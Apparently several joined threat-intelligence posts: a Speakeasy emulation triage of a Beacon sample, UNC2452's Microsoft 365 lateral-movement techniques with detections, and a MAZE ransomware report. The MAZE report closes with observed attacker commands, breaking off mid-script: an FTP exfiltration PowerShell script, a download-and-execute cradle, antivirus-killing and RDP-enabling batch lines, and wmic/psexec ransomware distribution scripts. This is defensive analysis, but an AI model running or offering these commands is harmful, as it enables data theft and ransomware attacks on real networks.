It may still be wise to emulate malicious code within a virtual machine in the event a vulnerability is discovered in whatever native CPU emulation engine is used.
After emulation, a report will be generated named “report.json”.
In addition, a full memory dump of the emulation environment will be compressed and written to “memory_dump.zip”.
The malware will get loaded into emulated memory inside of a fake container process to simulate a real execution environment that shellcode would expect to be running in.
Once emulation begins, emulated API calls will be logged to the screen along with their arguments and return values.
Figure 8 shows the Beacon sample allocating a new memory buffer where it will copy itself.
The malware then begins to manually resolve exports it needs to execute.
Figure 8: Network configuration After additional decoding and setup, the malware attempts to connect to its C2 server.
In Figure 9, we can see the malware using the Wininet library to connect and read data from the C2 server using HTTP.
Figure 9: Wininet API calls to connect to C2
The malware will loop endlessly until it receives the data it expects from its C2 server.
Speakeasy will timeout after a predetermined amount of time and generate a JSON report.
Figure 10:
Network C2 events The network indicators are summarized in the “network_events” and “traffic” sections of the generated report.
In Figure 10, we can see the IP address, port number and, in this case, HTTP headers associated with the connections made by the malware.
In this example, when we emulated the sample, we instructed Speakeasy to create a memory dump of the emulated address space.
A ZIP archive will get created of each memory allocation along with context around it.
This context includes base address, size and a tag that is assigned by the emulator in order to identify what the memory allocation corresponds to.
Figure 11 shows a snippet of the memory dump files created during emulation.
The file names contain the tag and base address associated with each memory allocation.
Figure 11:
Individual memory blocks acquired from emulation If we just run strings on these memory dumps, we can quickly locate interesting strings along with the Beacon configuration data, which is shown in Figure 12.
Figure 12: Configuration string data for the malware
In a triage level of analysis, we may only care about the indicators of compromise for a malware variant of a known family.
However, if full reverse engineering of the sample is required, we can also recover the decoded version of the Beacon malware in its DLL form.
By simply doing a primitive grep for the “MZ” magic bytes, we find the only hits are the memory dumps related to the original sample’s allocation and the virtual allocated buffer that the malware copies itself to (Figure 13).
Figure 13:
Memory dump containing the decoded malware
If we look at the bytes in the original shellcode buffer, we can see that it was decoded before it was copied and is sitting in memory ready to be dumped at offset 0x48.
We can now successfully load the decoded Beacon DLL into IDA Pro for full analysis (Figure 14).
Figure 14:
Decoded malware successfully loaded into IDA Pro Conclusion In this blog post we demonstrated how the Speakeasy emulation framework can be used to automatically triage a Beacon malware sample.
We used it to discover valuable network indicators, extract its config information from memory, and acquire a decoded Beacon DLL for further analysis.
Head over to our GitHub to start using Speakeasy today , and stay tuned for the next blog post where we will demonstrate kernel malware analysis using emulation.
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UPDATE (Mar.
18):
Mandiant recently observed targeted threat actors modifying mailbox folder permissions of user mailboxes to maintain persistent access to the targeted users' email messages.
This stealthy technique is not usually monitored by defenders and provides threat actors a way to access the desired email messages using any compromised credentials.
The white paper, blog post and Azure AD Investigator tool have been updated to reflect these findings.
Mandiant would like to thank the members of Microsoft’s Detection and Response Team (DART) for their collaboration on this research.
In December 2020, FireEye uncovered and publicly disclosed a widespread attacker campaign that is being tracked as UNC2452 .
In some, but not all, of the intrusions associated with this campaign where Mandiant has visibility, the attacker used their access to on-premises networks to gain unauthorized access to the victim’s Microsoft 365 environment.
Goals and Objectives Methodologies that UNC2452 and other threat actors have used to move laterally from on-premises networks to the Microsoft 365 cloud have been detailed in our white paper, Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452 .
The paper also discusses how organizations can proactively harden their environments and remediate environments where similar techniques have been observed.
Mandiant is releasing an auditing script, Azure AD Investigator , through its GitHub repository that organizations can use to check their Microsoft 365 tenants for indicators of some of the techniques used by UNC2452.
The script will alert administrators and security practitioners to artifacts that may require further review to determine if they are truly malicious or part of legitimate activity.
Many of the attacker techniques detailed in the white paper are dual-use in nature—they can be used by threat actors but also by legitimate tools.
Therefore, a detailed review for specific configuration parameters may be warranted, including correlating and verifying that configurations are aligned with authorized and expected activities.
Attacker Tactics, Techniques and Procedures (TTPs) Mandiant has observed UNC2452 and other threat actors moving laterally to the Microsoft 365 cloud using a combination of four primary techniques: Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (sometimes described as Golden SAML ).
This would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user’s password or their corresponding multi-factor authentication (MFA) mechanism.
Modify or add trusted domains in Azure AD to add a new federated Identity Provider (IdP) that the attacker controls.
This would allow the attacker to forge tokens for arbitrary users and has been described as an Azure AD backdoor .
Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 that have high privileged directory roles, such as Global Administrator or Application Administrator.
Backdoor an existing Microsoft 365 application by adding a new application or service principal credential in order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc.
Modify the permissions of folders in a victim mailbox (such as the inbox) to make its contents readable by any other user in the victim’s Microsoft 365 environment.
Read the white paper for a detailed overview of each technique, including practical remediation and hardening strategies, and check out our auditing script, Azure AD Investigator .
Detections FireEye Helix Detection MITRE Technique Detection Logic MICROSOFT
AZURE ACTIVE
DIRECTORY [Risky Sign-In]
T1078.004 Alert on suspicious logon activity as detected by Azure Identity Protection OFFICE 365 [Federated Domain Set]
T1550 Alert on new domain federation in Office 365 OFFICE 365 [Modified Domain Federation Settings] T1550 Alert of modification to domain federations settings in Office 365 OFFICE 365 [User Added Credentials to Service Principal] T1098.011 Alert on addition of certificates or passwords added to Service Principals OFFICE 365 ANALYTICS [Abnormal Logon]
T1078.004 Alert on suspicious login activity based on heuristics
WINDOWS METHODOLOGY [ADFS Dump] TA0006 T1552 T1552.004 T1199 Alert on activity access requests for the AD FS Distributed Key Manager (DKM) container in Active Directory OFFICE 365 [Mailbox Folder Permission Change – Inbox and Top Of Information Store]
T1098.002 Alert on suspicious modifications of mailbox folder permissions for the inbox or top of information store.
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Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies.
FireEye
Mandiant Threat Intelligence has previously documented this threat in our investigations of trends across ransomware incidents , FIN6 activity , implications for OT networks , and other aspects of post-compromise ransomware deployment.
Since November 2019, we’ve seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model.
Malicious actors have been actively deploying MAZE ransomware since at least May 2019.
The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise.
Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements.
Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee.
The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations.
This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations.
Mandiant Threat Intelligence will be available to answer questions on the MAZE ransomware threat in a May 21 webinar .
Victimology We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019.
These organizations have been primarily based in North America, although victims spanned nearly every geographical region.
Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1).
Figure 1: Geographical and industry distribution of alleged MAZE victims Multiple Actors Involved in MAZE Ransomware Operations Identified Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams.
Additional information on these actors is available to Mandiant Intelligence subscribers .
A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions.
This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group.
Under this business model, ransomware developers will partner with other actors (i.e.
affiliates) who are responsible for distributing the malware.
In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission.
Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment.
This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis.
Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues.
This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit.
Figure 2: MAZE ransomware panel MAZE Initially Distributed via Exploit Kits and Spam Campaigns MAZE ransomware was initially distributed directly via exploit kits and spam campaigns through late 2019.
For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea.
These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware.
On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3).
Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently.
These emails were sent using a number of malicious domains created with the registrant address gladkoff1991@yandex.ru.
Figure 3: German-language lure On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states.
These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload.
On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5).
These emails used the subjects “Missed package delivery” and \"Your AT&T wireless bill is ready to view\" and were sent using a number of malicious domains with the registrant address abusereceive@hitler.rocks.
Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019.
Figure 4:
AT&T email lure Figure 5: Canada Post email lure Shift to Post-Compromise Distribution Maximizes Impact Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise.
This methodology provides an opportunity to infect more hosts within a victim’s environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees.
Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data.
Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams.
Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle.
The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations.
Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months.
Initial Compromise There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents.
This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access.
The following are a sample of observations from several Mandiant incident response engagements: A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON.
An actor logged into an internet-facing system via RDP.
The account used to grant initial access was a generic support account.
It is unclear how the actor obtained the account's password.
An actor exploited a misconfiguration on an Internet-facing system.
This access enabled the actor to deploy tools to pivot into the internal network.
An actor logged into a Citrix web portal account with a weak password.
This authenticated access enabled the actor to launch a Meterpreter payload on an internal system.
Establish Foothold & Maintain Presence
The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware.
Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations.
Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations.
Web shells were deployed to an internet-facing system.
The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor.
Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations.
An actor created a new domain account and added it to the domain administrators group.
Escalate Privileges Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials.
Less than two weeks after initial access, the actor downloaded and interacted with an archive named mimi.zip , which contained files corresponding to the credential harvesting tool Mimikatz.
In the following days the same mimi.zip archive was identified on two domain controllers in the impacted environment.
The actor attempted to find files with the word “password” within the environment.
Additionally, several archive files were also created with file names suggestive of credential harvesting activity.
The actor attempted to identify hosts running the KeePass password safe software.
Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges.
Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion.
Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers' efforts to understand the impacted organization's Active Directory configuration.
In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services.
Reconnaissance Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents.
The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks.
In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network.
The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information.
Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations.
Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands.
The output of this script was copied into a file named '2.txt'.
The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-controlled FTP server via an encoded PowerShell script.
Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts.
An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users.
The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe .
An actor used the tool smbtools.exe to assess whether accounts could login to systems across the environment.
An actor collected directory listings from file servers across an impacted environment.
Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration.
Lateral Movement Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials.
Despite this uniformity, some alternative tools and approaches were also observed.
Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation.
The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold.
This allowed them to obtain immediate access to additional systems.
Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts.
An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account.
At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful.
Complete Mission
There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents.
While malicious actors could monetize stolen data in various way (e.g.
sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee.
An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password.
This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013.
A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident.
Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server.
An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service.
Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares.
These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility.
In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network.
Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands.
Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems.
Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment.
An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion.
Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network.
In some cases, thousands of hosts were ultimately encrypted.
The encryption process proceeded as follows: A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat .
Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted.
Implications Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector.
For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper .
Mandiant Security Validation Actions Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation .
Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information.
A100-877 - Active Directory - BloodHound, CollectionMethod All A150-006 - Command and Control - BEACON, Check-in A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1 A101-031 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #2 A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3 A100-878 - Command and Control - MAZE Ransomware, C2 Check-in A100-887 - Command and Control - MAZE, DNS Query #1 A100-888 - Command and Control - MAZE, DNS Query #2 A100-889 - Command and Control - MAZE, DNS Query #3 A100-890 -  Command and Control - MAZE, DNS Query #4 A100-891 - Command and Control - MAZE, DNS Query #5 A100-509 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Github PoC A100-339 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing Page A101-033 - Exploit Kit Activity - Spelevo Exploit Kit, MAZE C2 A100-208 - FTP-based Exfil/Upload of PII Data (Various Compression)
A104-488 - Host CLI - Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All A104-046 - Host CLI - Collection, Exfiltration: Data from Local Drive using PowerShell A104-090 - Host CLI - Collection, Impact: Creation of a Volume Shadow Copy A104-489 - Host CLI - Collection: Privilege Escalation Check with PowerUp,
Invoke-AllChecks A104-037 - Host CLI - Credential Access, Discovery: File & Directory Discovery A104-052 - Host CLI - Credential Access: Mimikatz A104-167 - Host CLI - Credential Access: Mimikatz (2.1.1) A104-490 - Host CLI - Defense Evasion, Discovery: Terminate Processes, Malware Analysis Tools A104-491 - Host CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk A104-500 - Host CLI - Discovery, Defense Evasion: Debugger Detection A104-492 - Host CLI - Discovery, Execution: Antivirus Query with WMI, PowerShell A104-374 - Host CLI - Discovery: Enumerate Active Directory Forests A104-493 - Host CLI - Discovery: Enumerate Network Shares A104-481 - Host CLI - Discovery:
Language Query Using PowerShell, Current User A104-482 - Host CLI - Discovery:
Language Query Using reg query A104-494 - Host CLI - Discovery: MAZE, Dropping Ransomware
Note Burn Directory A104-495 - Host CLI - Discovery: MAZE, Traversing Directories and
Dropping Ransomware
Note, DECRYPT-FILES.html Variant A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and
Dropping Ransomware
Note, DECRYPT-FILES.txt Variant A104-027 - Host CLI - Discovery:
Process Discovery A104-028 - Host CLI - Discovery: Process Discovery with PowerShell A104-029 - Host CLI - Discovery:
Remote System Discovery A104-153 - Host CLI - Discovery: Security Software Identification with Tasklist A104-083 - Host CLI - Discovery:
System Info A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media A100-879 - Malicious File Transfer - Adfind.exe, Download A150-046 - Malicious File Transfer - BEACON, Download A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant A100-882 - Malicious File Transfer - Bloodhound Ingestor Download, PowerShell Variant A101-037 - Malicious File Transfer - MAZE Download, Variant #1 A101-038 - Malicious File Transfer - MAZE Download, Variant #2 A101-039 - Malicious File Transfer - MAZE Download, Variant #3 A101-040 - Malicious File Transfer - MAZE Download, Variant #4 A101-041 - Malicious File Transfer - MAZE Download, Variant #5 A101-042 - Malicious File Transfer - MAZE Download, Variant #6 A101-043 - Malicious File Transfer - MAZE Download, Variant #7 A101-044 - Malicious File Transfer - MAZE Download, Variant #8 A101-045 - Malicious File Transfer - MAZE Download, Variant #9 A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1 A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2 A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4 A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download A100-284
- Malicious File Transfer - Mimikatz W/ Padding (1MB), Download A100-886 - Malicious File Transfer - Rclone.exe, Download A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration Detecting the Techniques Platform Signature Name MVX (covers multiple FireEye technologies)
Bale Detection FE_Ransomware_Win_MAZE_1 Endpoint Security WMIC SHADOWCOPY DELETE (METHODOLOGY) MAZE RANSOMWARE (FAMILY)
Network Security Ransomware.
Win.
MAZE Ransomware.
Maze Ransomware.
Maze MITRE ATT&CK Mappings Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware.
Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters.
It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s).
MAZE Group 1 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064:
Scripting T1035: Service Execution Persistence T1078:
Valid Accounts T1050:
New Service Privilege Escalation T1078: Valid Accounts Defense Evasion T1078: Valid Accounts T1036:
Masquerading T1027: Obfuscated Files or Information T1064: Scripting Credential Access T1110:
Brute Force T1003: Credential Dumping Discovery T1087:
Account Discovery T1482: Domain Trust Discovery T1083:
File and Directory Discovery T1135:
Network Share Discovery T1069:
Permission Groups Discovery T1018:
Remote System Discovery T1016:
System Network Configuration Discovery Lateral Movement T1076:
Remote Desktop Protocol T1105:
Remote File Copy Collection T1005:
Data from Local System Command and Control T1043:
Commonly Used Port T1105:
Remote File Copy T1071: Standard Application Layer Protocol Exfiltration T1002: Data Compressed T1048:
Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact T1489:
Service Stop MAZE Group 2 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Initial Access T1193:
Spearphishing Attachment Execution T1059: Command-Line Interface T1086:
PowerShell T1085: Rundll32 T1064:
Scripting T1204:
User Execution T1028:
Windows Remote Management Persistence T1078:
Valid Accounts T1050:
New Service T1136: Create Account Privilege Escalation T1078:
Valid Accounts T1050:
New Service Defense Evasion T1078: Valid Accounts T1140: Deobfuscate/Decode Files or Information T1107: File Deletion T1036:
Masquerading Credential Access T1003: Credential Dumping T1081: Credentials in Files T1171:
LLMNR/NBT-NS Poisoning Discovery T1087:
Account Discovery T1482: Domain Trust Discovery T1083:
File and Directory Discovery T1135:
Network Share Discovery T1069:
Permission Groups Discovery T1018:
Remote System Discovery T1033: System Owner/User Discovery Lateral Movement T1076:
Remote Desktop Protocol T1028:
Windows Remote Management Collection T1074:
Data Staged T1005:
Data from Local System T1039: Data from Network Shared Drive Command and Control T1043:
Commonly Used Port T1219:
Remote Access Tools T1105:
Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1020: Automated Exfiltration T1002:
Data Compressed T1048:
Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact MAZE Group 3 MITRE ATT&CK Mapping (FIN6) ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064:
Scripting T1035: Service Execution Persistence T1078:
Valid Accounts T1031: Modify Existing Service Privilege Escalation T1055: Process Injection T1078: Valid Accounts Defense Evasion T1055: Process Injection T1078: Valid Accounts T1116: Code Signing T1089: Disabling Security Tools
T1202: Indirect Command Execution T1112: Modify Registry T1027: Obfuscated Files or Information T1108: Redundant Access T1064:
Scripting Credential Access T1003: Credential Dumping Discovery T1087:
Account Discovery T1482: Domain Trust Discovery T1083:
File and Directory Discovery T1069:
Permission Groups Discovery T1018:
Remote System Discovery Lateral Movement T1097:
Pass the Ticket T1076:
Remote Desktop Protocol T1105:
Remote File Copy T1077:
Windows Admin Shares Collection T1074:
Data Staged T1039:
Data from Network Shared Drive Command and Control T1043:
Commonly Used Port T1219:
Remote Access Tools T1105:
Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1002:
Data Compressed Impact T1486:
Data Encrypted for Impact T1490: Inhibit System Recovery T1489:
Service Stop Example Commands Observed in MAZE Ransomware Incidents function Enum-UsersFolders($PathEnum) { $foldersArr = 'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local' Get-ChildItem -Path $PathEnum'/c$' -ErrorAction
SilentlyContinue Get-ChildItem -Path $PathEnum'/c$/Program Files' -ErrorAction
SilentlyContinue Get-ChildItem -Path $PathEnum'/c$/Program Files (x86)' -ErrorAction
SilentlyContinue foreach($Directory in Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction
SilentlyContinue) { foreach($SeachDir in $foldersArr) { Get-ChildItem -Path $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction
SilentlyContinue } } } PowerShell reconnaissance script used to enumerate directories $Dir=\"C:/Windows/Temp/\" #ftp server $ftp = \"ftp://<IP Address>/incoming/\" $user =
\"<username>\" $pass = \"<password>\" $webclient = New-Object System.
Net.
WebClient $webclient.
Credentials = New-Object System.
Net.
NetworkCredential($user,$pass) #list every sql server trace file foreach($item in (dir $Dir \"*.7z\")){ \"Uploading $item...\" $uri = New-Object System.
Uri($ftp+$item.
Name) $webclient.
UploadFile($uri, $item.
FullName) } Decoded FTP upload PowerShell script powershell -nop -exec bypass IEX (New-Object Net.
Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath \"ftp://<IP  Address>/cobalt_uploads/<file
name>\" -localFile \"<local file path>\\ <file name> \" -userName
\"<username>\" -password \"<password>\" Decoded FTP upload PowerShell script […] echo 7 echo 7 taskkill
/im csrss_tc.exe /f taskkill /im kwsprod.exe /f taskkill /im avkwctl.exe /f taskkill /im rnav.exe /f taskkill /im crssvc.exe /f sc config CSAuth start= disabled taskkill /im vsserv.exe /f taskkill /im ppmcativedetection.exe /f […] taskkill /im sahookmain.exe /f taskkill /im mcinfo.exe /f reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t
REG_DWORD /d 0 /f netsh advfirewall firewall set rule group=\"remote desktop\" new enable=
Ye c:\\windows\\temp\\sss.exe Excerpt from windows.bat kill script start copy sss.exe
\\\\<internal IP>\\c$\\windows\\temp\\ start copy sss.exe \\\\<internal IP>\\c$\\windows\\temp\\ start copy windows.bat \\\\<internal IP>\\c$\\windows\\temp\\ start copy windows.bat \\\\<internal IP>\\c$\\windows\\temp\\ start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"c:\\windows\\temp\\sss.exe\" start wmic
/node:\"<internal
IP>\" /user:\"
< DOMAIN\\adminaccount> \" /password:\"< password >\" process call create \"c:\\windows\\temp\\sss.exe\" start wmic /node:\"<internal IP>\" /user:\"<DOMAIN\\adminaccount>\" /password:\"< password >\" process call create \"cmd.exe /c c:\\windows\\temp\\windows.bat\" start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"cmd.exe /c c:\\windows\\temp\\windows.bat\" start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"cmd.exe /c copy \\\\<internal
IP>\\c$\\windows\\temp\\sss.exe c:\\windows\\temp\\\" start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"cmd.exe /c copy \\\\<internal
IP>\\c$\\windows\\temp\\sss.exe c:\\windows\\temp\\\" start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"cmd.exe /c copy \\\\<internal IP>\\c$\\windows\\temp\\windows.bat c:\\windows\\temp\\\" start wmic /node:\"<internal IP>\" /user:\"
< DOMAIN\\adminaccount >\" /password:\"< password >\" process call create \"cmd.exe /c copy \\\\<internal IP>\\c$\\windows\\temp\\windows.bat c:\\windows\\temp\\\" start psexec.exe \\\\<internal IP> -u <
DOMAIN\\adminaccount
>
-p \"< password >\" -d
-h -r rtrsd -s -accepteula -nobanner c:\\windows\\temp\\sss.exe start psexec.exe \\\\<internal IP> -u < DOMAIN\\adminaccount
> -p \"< password >\" -d
-h -r rtrsd -s -accepteula -nobanner c:\\windows\\temp\\sss.exe start psexec.exe \\\\<internal IP> -u < DOMAIN\\adminaccount
> -p \"< password >\" -d
-h -r rtrsd -s -accepteula -nobanner c:\\windows\\temp\\windows.bat start psexec.exe \\\\<internal IP> -u < DOMAIN\\adminaccount
> -p \"< password >\" -d
-h -r rtrsd -s -accepteula -nobanner c:\\windows\\temp\\windows.bat Example commands from MAZE distribution scripts @echo off del done.txt del offline.txt rem Loop thru list of computer names in file specified on command-line for /f
%%i in (%1) do call :check_machine
%
%
i goto end :check_machine rem Check to see if machine is up.
ping -n 1 %1|Find \"TTL=\" >NUL 2>NUL if errorlevel 1 goto down echo %1
START cmd /c \"copy [Location of MAZE binary] \\\\%1\\c$\\windows\\temp && exit\" timeout 1 > NUL echo %1 >> done.txt rem wmic /node:\"%1\" process call create \"regsvr32.exe /i
C:\\windows\\temp\\[MAZE binary name]\" >
> done.txt START \"\" cmd /c \"wmic /node:\"%1\" process call create \"regsvr32.exe /i
